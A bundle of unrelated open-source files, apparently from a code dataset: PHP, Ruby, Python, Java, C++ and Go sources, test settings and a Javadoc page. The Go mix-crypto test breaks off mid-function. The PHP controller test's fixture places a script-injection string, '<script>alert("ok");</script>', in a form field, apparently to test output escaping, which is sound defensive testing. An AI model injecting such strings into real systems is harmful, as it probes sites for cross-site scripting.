<?php use Core\Test\ControllerTestCase; use Application\Controller\IndexController; use Application\Model\Chamado; use Zend\Http\Request; use Zend\Stdlib\Parameters; use Zend\View\Renderer\PhpRenderer; /** * @group Controller */ class IndexControllerTest extends ControllerTestCase { /** * Namespace completa do Controller * @var string */ protected $controllerFQDN = 'Application\Controller\IndexController'; /** * Nome da rota. Geralmente o nome do módulo * @var string */ protected $controllerRoute = 'application'; /** * Testa o acesso a uma action que não existe */ public function test404() { $this->routeMatch->setParam('action', 'action_nao_existente'); $result = $this->controller->dispatch($this->request); $response = $this->controller->getResponse(); $this->assertEquals(404, $response->getStatusCode()); } /** * Testa a página inicial, que deve mostrar os chamados */ public function testIndexAction() { // Cria técnicos para testar $chamadoA = $this->addChamado(); $chamadoB = $this->addChamado(); // Invoca a rota index $this->routeMatch->setParam('action', 'index'); $result = $this->controller->dispatch($this->request, $this->response); // Verifica o response $response = $this->controller->getResponse(); $this->assertEquals(200, $response->getStatusCode()); // Testa se um ViewModel foi retornado $this->assertInstanceOf('Zend\View\Model\ViewModel', $result); // Testa os dados da view $variables = $result->getVariables(); $this->assertArrayHasKey('chamados', $variables); // Faz a comparação dos dados $controllerData = $variables["chamados"]; $this->assertEquals($chamadoA->chamado_cobra, $controllerData[0]['chamado_cobra']); $this->assertEquals($chamadoB->chamado_cobra, $controllerData[1]['chamado_cobra']); } /** * Testa a página inicial, que deve mostrar os chamados com paginador */ /*public function testIndexActionPaginator() { // Cria chamados para testar $chamado = array(); for($i=0; $i< 25; $i++) { $chamado[] = $this->addChamado(); } // Invoca a rota index $this->routeMatch->setParam('action', 'index'); $result = $this->controller->dispatch($this->request, $this->response); // Verifica o response $response = $this->controller->getResponse(); $this->assertEquals(200, $response->getStatusCode()); // Testa se um ViewModel foi retornado $this->assertInstanceOf('Zend\View\Model\ViewModel', $result); // Testa os dados da view $variables = $result->getVariables(); $this->assertArrayHasKey('chamados', $variables); //testa o paginator $paginator = $variables["chamados"]; $this->assertEquals('Zend\Paginator\Paginator', get_class($paginator)); $chamados = $paginator->getCurrentItems()->toArray(); $this->assertEquals(10, count($chamados)); $this->assertEquals($chamado[0]->id, $chamados[0]['id']); $this->assertEquals($chamado[1]->id, $chamados[1]['id']); //testa a terceira página da paginação $this->routeMatch->setParam('action', 'index'); $this->routeMatch->setParam('page', 3); $result = $this->controller->dispatch($this->request, $this->response); $variables = $result->getVariables(); $controllerData = $variables["chamados"]->getCurrentItems()->toArray(); $this->assertEquals(5, count($controllerData)); }*/ /** * Adiciona um chamado para os testes */ private function addChamado() { $chamado = new Chamado(); $chamado->numero = '12345678901234'; $chamado->chamado_cobra = '123456789012345'; $chamado->dependencia = 'Matriz I <script>alert("ok");</script><br>'; $chamado->dtachamado = date('Y-m-d H:i:s'); $chamado->dtalimite = date('Y-m-d H:i:s'); $chamado->status = '12345678901234567890'; $chamado->tecnico_alocado = 'Antonio'; $chamado->agencia = '1234'; $chamado->nrocontrato = '1234567890123'; $chamado->grupo = 'TAA'; $chamado->observacao = 'Teste OBS'; $saved = $this->getTable('Application\Model\Chamado')->save($chamado); return $chamado; } }
bsd-3-clause
njall/wel-seek
db/migrate/archive/20100708073047_transfer_asset_data_to_resources.rb
1406
require 'save_without_timestamping' #Needed because Asset model may not exist any more class Asset < ActiveRecord::Base belongs_to :resource, :polymorphic => true end class TransferAssetDataToResources < ActiveRecord::Migration def self.up count = 0 Asset.all.each do |asset| resource = asset.resource resource.policy_id = asset.policy_id resource.project_id = asset.project_id if resource.save_without_timestamping count += 1 end if ["DataFile","Model","Protocol"].include?(resource.class.name) resource.versions.each do |version| version.policy_id = asset.policy_id version.project_id = asset.project_id version.save_without_timestamping end end end puts "#{count}/#{Asset.count} asset resources updated." end def self.down count = 0 Asset.all.each do |asset| resource = asset.resource resource.policy_id = nil resource.project_id = nil if ["DataFile","Model","Protocol"].include?(resource.class.name) resource.versions.each do |version| version.policy_id = nil version.project_id = nil version.save_without_timestamping end end if resource.save_without_timestamping count += 1 end end puts "#{count}/#{Asset.count} asset resources reverted." end end
bsd-3-clause
daanwierstra/pybrain
pybrain/rl/agents/history.py
2202
__author__ = 'Thomas Rueckstiess, [email protected]' from agent import Agent from pybrain.datasets import ReinforcementDataSet class HistoryAgent(Agent): """ This agent stores actions, states, and rewards encountered during interaction with an environment in a ReinforcementDataSet (which is a variation of SequentialDataSet). The stored history can be used for learning and is erased by resetting the agent. It also makes sure that integrateObservation, getAction and giveReward are called in exactly that order. """ def __init__(self, indim, outdim): # store input and output dimension self.indim = indim self.outdim = outdim # create history dataset self.remember = True self.history = ReinforcementDataSet(indim, outdim) # initialize temporary variables self.lastobs = None self.lastaction = None def integrateObservation(self, obs): """ 1. stores the observation received in a temporary variable until action is called and reward is given. """ assert self.lastobs == None assert self.lastaction == None self.lastobs = obs def getAction(self): """ 2. stores the action in a temporary variable until reward is given. """ assert self.lastobs != None assert self.lastaction == None # implement getAction in subclass and set self.lastaction def enableHistory(self): self.remember = True def disableHistory(self): self.remember = False def giveReward(self, r): """ 3. stores observation, action and reward in the history dataset. """ # step 3: assume that state and action have been set assert self.lastobs != None assert self.lastaction != None # store state, action and reward in dataset if self.remember: self.history.addSample(self.lastobs, self.lastaction, r) self.lastobs = None self.lastaction = None def reset(self): """ clears the history of the agent. """ self.history.clear()
bsd-3-clause
ImaginaryLandscape/django-nocaptcha-recaptcha
test_settings.py
636
DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': 'test.sqlite', } } INSTALLED_APPS = [ 'nocaptcha_recaptcha', ] MIDDLEWARE_CLASSES = [ 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.middleware.doc.XViewMiddleware', 'django.middleware.common.CommonMiddleware', ] NORECAPTCHA_SECRET_KEY = 'privkey' NORECAPTCHA_SITE_KEY = 'pubkey'
bsd-3-clause
arewellborn/Personal-Website
tests/test_forms.py
2446
# -*- coding: utf-8 -*- """Test forms.""" from personal_website.article.forms import ArticleForm from personal_website.public.forms import LoginForm class TestArticleForm: """Article Form.""" def test_title_required(self, article): """Publish article.""" form = ArticleForm(body=article.body, published=article.published) assert form.validate() is False assert 'title - This field is required.' in form.title.errors def test_validate_title_exists(self, article): """Title already exists.""" article.published = True article.save() form = ArticleForm(title=article.title, body=article.body, published=True) assert form.validate() is False assert 'Title already Used' in form.title.errors def test_validate_slug_exists(self, article): """Title already exists.""" article.published = True article.save() form = ArticleForm(title=article.title, body=article.body, published=True) assert form.validate() is False assert 'Error producing url. Try a different title.' in form.title.errors class TestLoginForm: """Login form.""" def test_validate_success(self, user): """Login successful.""" user.set_password('example') user.save() form = LoginForm(username=user.username, password='example') assert form.validate() is True assert form.user == user def test_validate_unknown_username(self, db): """Unknown username.""" form = LoginForm(username='unknown', password='example') assert form.validate() is False assert 'Unknown username' in form.username.errors assert form.user is None def test_validate_invalid_password(self, user): """Invalid password.""" user.set_password('example') user.save() form = LoginForm(username=user.username, password='wrongpassword') assert form.validate() is False assert 'Invalid password' in form.password.errors def test_validate_inactive_user(self, user): """Inactive user.""" user.active = False user.set_password('example') user.save() # Correct username and password, but user is not activated form = LoginForm(username=user.username, password='example') assert form.validate() is False assert 'User not activated' in form.username.errors
bsd-3-clause
sylvainhalle/sase
doc/edu/umass/cs/sase/engine/class-use/ConfigFlags.html
6099
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!--NewPage--> <HTML> <HEAD> <!-- Generated by javadoc (build 1.6.0_24) on Tue Mar 08 22:33:49 EST 2011 --> <TITLE> Uses of Class edu.umass.cs.sase.engine.ConfigFlags </TITLE> <META NAME="date" CONTENT="2011-03-08"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../../stylesheet.css" TITLE="Style"> <SCRIPT type="text/javascript"> function windowTitle() { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class edu.umass.cs.sase.engine.ConfigFlags"; } } </SCRIPT> <NOSCRIPT> </NOSCRIPT> </HEAD> <BODY BGCOLOR="white" onload="windowTitle();"> <HR> <!-- ========= START OF TOP NAVBAR ======= --> <A NAME="navbar_top"><!-- --></A> <A HREF="#skip-navbar_top" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_top_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../edu/umass/cs/sase/engine/ConfigFlags.html" title="class in edu.umass.cs.sase.engine"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;PREV&nbsp; &nbsp;NEXT</FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../../../../index.html?edu/umass/cs/sase/engine/\class-useConfigFlags.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="ConfigFlags.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_top"></A> <!-- ========= END OF TOP NAVBAR ========= --> <HR> <CENTER> <H2> <B>Uses of Class<br>edu.umass.cs.sase.engine.ConfigFlags</B></H2> </CENTER> No usage of edu.umass.cs.sase.engine.ConfigFlags <P> <HR> <!-- ======= START OF BOTTOM NAVBAR ====== --> <A NAME="navbar_bottom"><!-- --></A> <A HREF="#skip-navbar_bottom" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_bottom_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../edu/umass/cs/sase/engine/ConfigFlags.html" title="class in edu.umass.cs.sase.engine"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;PREV&nbsp; &nbsp;NEXT</FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../../../../index.html?edu/umass/cs/sase/engine/\class-useConfigFlags.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="ConfigFlags.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_bottom"></A> <!-- ======== END OF BOTTOM NAVBAR ======= --> <HR> </BODY> </HTML>
bsd-3-clause
f4nt/djpandora
djpandora/admin.py
230
from django.contrib import admin import models admin.site.register(models.Song) admin.site.register(models.Station) admin.site.register(models.Vote) admin.site.register(models.StationPoll) admin.site.register(models.StationVote)
bsd-3-clause
1ChicagoDave/Adafruit-LED-Backpack-Library
Adafruit_LEDBackpack.h
3140
/*************************************************** This is a library for our I2C LED Backpacks Designed specifically to work with the Adafruit LED Matrix backpacks ----> http://www.adafruit.com/products/ ----> http://www.adafruit.com/products/ These displays use I2C to communicate, 2 pins are required to interface. There are multiple selectable I2C addresses. For backpacks with 2 Address Select pins: 0x70, 0x71, 0x72 or 0x73. For backpacks with 3 Address Select pins: 0x70 thru 0x77 Adafruit invests time and resources providing this open source code, please support Adafruit and open-source hardware by purchasing products from Adafruit! Written by Limor Fried/Ladyada for Adafruit Industries. BSD license, all text above must be included in any redistribution ****************************************************/ #if (ARDUINO >= 100) #include "Arduino.h" #else #include "WProgram.h" #endif #ifdef __AVR_ATtiny85__ #include <TinyWireM.h> #else #include <Wire.h> #endif #include "Adafruit_GFX.h" #define LED_ON 1 #define LED_OFF 0 #define LED_RED 1 #define LED_YELLOW 2 #define LED_GREEN 3 #define HT16K33_BLINK_CMD 0x80 #define HT16K33_BLINK_DISPLAYON 0x01 #define HT16K33_BLINK_OFF 0 #define HT16K33_BLINK_2HZ 1 #define HT16K33_BLINK_1HZ 2 #define HT16K33_BLINK_HALFHZ 3 #define HT16K33_CMD_BRIGHTNESS 0x0E #define SEVENSEG_DIGITS 5 // this is the raw HT16K33 controller class Adafruit_LEDBackpack { public: Adafruit_LEDBackpack(void); void begin(uint8_t _addr); void setBrightness(uint8_t b); void blinkRate(uint8_t b); void writeDisplay(void); void clear(void); uint16_t displaybuffer[8]; void init(uint8_t a); private: uint8_t i2c_addr; }; class Adafruit_8x8matrix : public Adafruit_LEDBackpack, public Adafruit_GFX { public: Adafruit_8x8matrix(void); void drawPixel(int16_t x, int16_t y, uint16_t color); private: }; class Adafruit_BicolorMatrix : public Adafruit_LEDBackpack, public Adafruit_GFX { public: Adafruit_BicolorMatrix(void); void drawPixel(int16_t x, int16_t y, uint16_t color); private: }; #define DEC 10 #define HEX 16 #define OCT 8 #define BIN 2 #define BYTE 0 class Adafruit_7segment : public Adafruit_LEDBackpack { public: Adafruit_7segment(void); size_t write(uint8_t c); void print(char, int = BYTE); void print(unsigned char, int = BYTE); void print(int, int = DEC); void print(unsigned int, int = DEC); void print(long, int = DEC); void print(unsigned long, int = DEC); void print(double, int = 2); void println(char, int = BYTE); void println(unsigned char, int = BYTE); void println(int, int = DEC); void println(unsigned int, int = DEC); void println(long, int = DEC); void println(unsigned long, int = DEC); void println(double, int = 2); void println(void); void writeDigitRaw(uint8_t x, uint8_t bitmask); void writeDigitNum(uint8_t x, uint8_t num, boolean dot = false); void drawColon(boolean state); void printNumber(long, uint8_t = 2); void printFloat(double, uint8_t = 2, uint8_t = DEC); void printError(void); private: uint8_t position; };
bsd-3-clause
NCIP/cagrid-core
caGrid/projects/data/src/java/utilities/gov/nih/nci/cagrid/data/utilities/validation/WSDLUtils.java
4989
/** *============================================================================ * Copyright The Ohio State University Research Foundation, The University of Chicago - * Argonne National Laboratory, Emory University, SemanticBits LLC, and * Ekagra Software Technologies Ltd. * * Distributed under the OSI-approved BSD 3-Clause License. * See http://ncip.github.com/cagrid-core/LICENSE.txt for details. *============================================================================ **/ package gov.nih.nci.cagrid.data.utilities.validation; import gov.nih.nci.cagrid.common.Utils; import java.net.URI; import java.util.Iterator; import java.util.List; import java.util.Map; import javax.wsdl.Definition; import javax.wsdl.Import; import javax.wsdl.Types; import javax.wsdl.WSDLException; import javax.wsdl.extensions.ExtensibilityElement; import javax.wsdl.extensions.UnknownExtensibilityElement; import javax.wsdl.factory.WSDLFactory; import javax.wsdl.xml.WSDLReader; import javax.xml.namespace.QName; import org.apache.axis.message.addressing.EndpointReferenceType; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.jdom.input.DOMBuilder; import org.w3c.dom.Element; /** * @author oster */ public class WSDLUtils { protected static Log LOG = LogFactory.getLog(WSDLUtils.class.getName()); public static Definition parseServiceWSDL(String wsdlLocation) throws WSDLException { WSDLFactory factory = WSDLFactory.newInstance(); WSDLReader wsdlReader = factory.newWSDLReader(); wsdlReader.setFeature("javax.wsdl.verbose", LOG.isDebugEnabled()); wsdlReader.setFeature("javax.wsdl.importDocuments", true); Definition mainDefinition = wsdlReader.readWSDL(wsdlLocation); return mainDefinition; } public static String getWSDLLocation(EndpointReferenceType epr) { return epr.getAddress().toString() + "?wsdl"; } public static void walkWSDLFindingSchema(Definition mainDefinition, Map<String, org.jdom.Element> schemas) { LOG.debug("Looking at WSDL at:" + mainDefinition.getDocumentBaseURI()); org.jdom.Element schema = extractTypesSchema(mainDefinition); if (schema != null) { LOG.debug("Found types schema."); schemas.put(mainDefinition.getDocumentBaseURI(), schema); } else { LOG.debug("No types schema found."); } LOG.debug("Looking for imports..."); Map imports = mainDefinition.getImports(); if (imports != null) { Iterator iter = imports.values().iterator(); while (iter.hasNext()) { LOG.debug("Found imports..."); List wsdlImports = (List) iter.next(); for (int i = 0; i < wsdlImports.size(); i++) { Import wsdlImport = (Import) wsdlImports.get(i); Definition importDefinition = wsdlImport.getDefinition(); if (importDefinition != null) { LOG.debug("Looking at imported WSDL at:" + importDefinition.getDocumentBaseURI()); walkWSDLFindingSchema(importDefinition, schemas); } } } } } public static org.jdom.Element extractTypesSchema(Definition wsdlDefinition) { org.jdom.Element typesSchemaElm = null; if (wsdlDefinition != null) { Types types = wsdlDefinition.getTypes(); if (types != null) { List extensibilityElements = types.getExtensibilityElements(); for (int i = 0; i < extensibilityElements.size(); i++) { ExtensibilityElement schemaExtElem = (ExtensibilityElement) extensibilityElements.get(i); if (schemaExtElem != null) { QName elementType = schemaExtElem.getElementType(); if (elementType.getLocalPart().equals("schema") && (schemaExtElem instanceof UnknownExtensibilityElement)) { Element element = ((UnknownExtensibilityElement) schemaExtElem).getElement(); DOMBuilder domBuilder = new DOMBuilder(); typesSchemaElm = domBuilder.build(element); } } } } } return typesSchemaElm; } public static URI determineSchemaLocation(Map<String, org.jdom.Element> schemas, String namespace) { LOG.debug("Trying to find XSD location of namespace:" + namespace); if (schemas != null) { Iterator<String> iterator = schemas.keySet().iterator(); while (iterator.hasNext()) { String mainURI = iterator.next(); org.jdom.Element schema = schemas.get(mainURI); Iterator<?> childIter = schema.getChildren("import", schema.getNamespace()).iterator(); while (childIter.hasNext()) { org.jdom.Element importElm = (org.jdom.Element) childIter.next(); String ns = importElm.getAttributeValue("namespace"); if (ns.equals(namespace)) { String location = importElm.getAttributeValue("schemaLocation"); LOG.debug("Found relative XSD location of namespace (" + namespace + ")=" + location); URI schemaURI = URI.create(Utils.encodeUrl(mainURI)); URI importURI = schemaURI.resolve(location); LOG.debug("Converted complete location of namespace (" + namespace + ") to: " + importURI.toString()); return importURI; } } } } return null; } }
bsd-3-clause
viggy96/FRCteam3331_2014
src/edu/wpi/first/wpilibj/templates/commands/AutoCommandGroup.java
528
package edu.wpi.first.wpilibj.templates.commands; import edu.wpi.first.wpilibj.command.CommandGroup; /** * * @author vignesh */ public class AutoCommandGroup extends CommandGroup { public AutoCommandGroup() { addParallel(new autoClawArmDownCommand()); addParallel(new CompressorCommand()); addSequential(new autoWinchCommand()); addSequential(new autoUnwinchCommand()); addSequential(new openLatchCommand()); addSequential(new AutoDriveCommand()); } }
bsd-3-clause
chad/rubinius
kernel/delta/backtrace.rb
2223
## # Contains all logic for gathering and displaying backtraces. class Backtrace include Enumerable attr_accessor :frames attr_accessor :top_context attr_accessor :first_color attr_accessor :kernel_color attr_accessor :eval_color def initialize @frames = [] @top_context = nil @first_color = "\033[0;31m" @kernel_color = "\033[0;34m" @eval_color = "\033[0;33m" end def [](index) @frames[index] end def show(sep="\n", colorize = true) first = true color_config = Rubinius::RUBY_CONFIG["rbx.colorize_backtraces"] if color_config == "no" or color_config == "NO" colorize = false color = "" clear = "" else clear = "\033[0m" end formatted = @frames.map do |ctx| recv = ctx.describe loc = ctx.location color = color_from_loc(loc, first) if colorize first = false # special handling for first line times = @max - recv.size times = 0 if times < 0 "#{color} #{' ' * times}#{recv} at #{loc}#{clear}" end return formatted.join(sep) end def join(sep) show end alias_method :to_s, :show def color_from_loc(loc, first) return @first_color if first if loc =~ /kernel/ @kernel_color elsif loc =~ /\(eval\)/ @eval_color else "" end end MAX_WIDTH = 40 def fill_backtrace @max = 0 @backtrace = [] # Skip the first frame if we are raising an exception from # an eval's BlockContext if @frames.at(0).from_eval? frames = @frames[1, @frames.length - 1] else frames = @frames end frames.each_with_index do |ctx, i| str = ctx.describe @max = str.size if str.size > @max @backtrace << [str, ctx.location] end @max = MAX_WIDTH if @max > MAX_WIDTH end def self.backtrace(ctx=nil) ctx ||= MethodContext.current.sender obj = new() obj.top_context = ctx obj.frames = ctx.context_stack # TODO - Consider not doing this step if we know we want MRI output obj.fill_backtrace return obj end def each @backtrace.each { |f| yield f.last } self end def to_mri return @top_context.stack_trace_starting_at(0) end end
bsd-3-clause
JonathanLogan/mute
mix/mixcrypt/clientmix_test.go
9542
// Copyright (c) 2015 Mute Communications Ltd. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package mixcrypt import ( "bytes" "crypto/rand" "crypto/sha256" "testing" "github.com/agl/ed25519" "github.com/mutecomm/mute/mix/mixaddr" "github.com/mutecomm/mute/mix/nymaddr" "github.com/mutecomm/mute/util/times" "golang.org/x/crypto/curve25519" ) var testMessage = []byte(` This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. This message needs to be 4096 byte long, no less, more is permissable. It's because the constants are that way. `) func TestClientMixHeader(t *testing.T) { testData := ClientMixHeader{ MessageType: MessageTypeRelay, SenderMinDelay: 10, SenderMaxDelay: 30, Token: []byte("Token"), Address: []byte("Address"), RevokeID: []byte("RevokeID"), } asn := testData.Marshal() testData2, lenB, err := new(ClientMixHeader).Unmarshal(asn) if err != nil { t.Fatalf("Unmarshal failed: %s", err) } if len(asn) != int(lenB) { t.Errorf("Bad length returned: %d != %d", len(asn), lenB) } if !bytes.Equal(testData.Token, testData2.Token) { t.Error("Decode: Token") } if !bytes.Equal(testData.Address, testData2.Address) { t.Error("Decode: Address") } if !bytes.Equal(testData.RevokeID, testData2.RevokeID) { t.Error("Decode: RevokeID") } if testData.MessageType != testData2.MessageType { t.Error("Decode: MessageType") } if testData.SenderMinDelay != testData2.SenderMinDelay { t.Error("Decode: SenderMinDelay") } if testData.SenderMaxDelay != testData2.SenderMaxDelay { t.Error("Decode: SenderMaxDelay") } } func TestSendReceiveForward(t *testing.T) { NextHop := "[email protected]" NextHopPrivKey, _ := genNonce() NextHopPubKey := new([KeySize]byte) curve25519.ScalarBaseMult(NextHopPubKey, NextHopPrivKey) clientHeader := ClientMixHeader{ SenderMinDelay: 10, SenderMaxDelay: 30, Token: []byte("Example token"), } encMessage, nextaddress, err := clientHeader.NewForwardMessage(NextHop, NextHopPubKey, testMessage) if err != nil { t.Fatalf("NewForwardMessage: %s", err) } if nextaddress != NextHop { t.Error("Bad NextHop") } receiveData, err := ReceiveMessage(func(*[KeySize]byte) *[KeySize]byte { return NextHopPrivKey }, encMessage) if err != nil { t.Fatalf("ReceiveMessage: %s", err) } if !bytes.Equal(receiveData.Message, testMessage) { t.Error("Messages dont match") } if !bytes.Equal(receiveData.MixHeader.Token, clientHeader.Token) { t.Error("Tokens dont match") } if string(receiveData.MixHeader.Address) != NextHop { t.Error("Next hop doesnt match") } if receiveData.MixHeader.SenderMaxDelay != clientHeader.SenderMaxDelay { t.Error("Max delay does not match") } if receiveData.MixHeader.SenderMinDelay != clientHeader.SenderMinDelay { t.Error("Min delay does not match") } if len(receiveData.UniqueTest) != 1 { t.Error("Only one uniquetest should be done") } } func TestSendReceiveRelay(t *testing.T) { _, privkey, _ := ed25519.GenerateKey(rand.Reader) mixAddress := "[email protected]" recAddress := "mailbox001@001." pseudonym := []byte("Pseudonym001") pseudoHash := sha256.Sum256(pseudonym) kl := mixaddr.New(privkey, mixAddress, 7200, 24*3600, "/tmp/mixkeydir") kl.AddKey() stmt := kl.GetStatement() // AddressTemplate contains parameters for address creation addressTemplate := nymaddr.AddressTemplate{ Secret: []byte("something super-secret"), MixCandidates: stmt.Addresses, Expire: times.Now() + 3600, SingleUse: true, MinDelay: 10, MaxDelay: 30, } NymAddress, err := addressTemplate.NewAddress([]byte(recAddress), pseudoHash[:]) if err != nil { t.Fatalf("NewAddress: %s", err) } clientHeader := ClientMixHeader{ SenderMinDelay: 10, SenderMaxDelay: 30, Token: []byte("Example token"), } 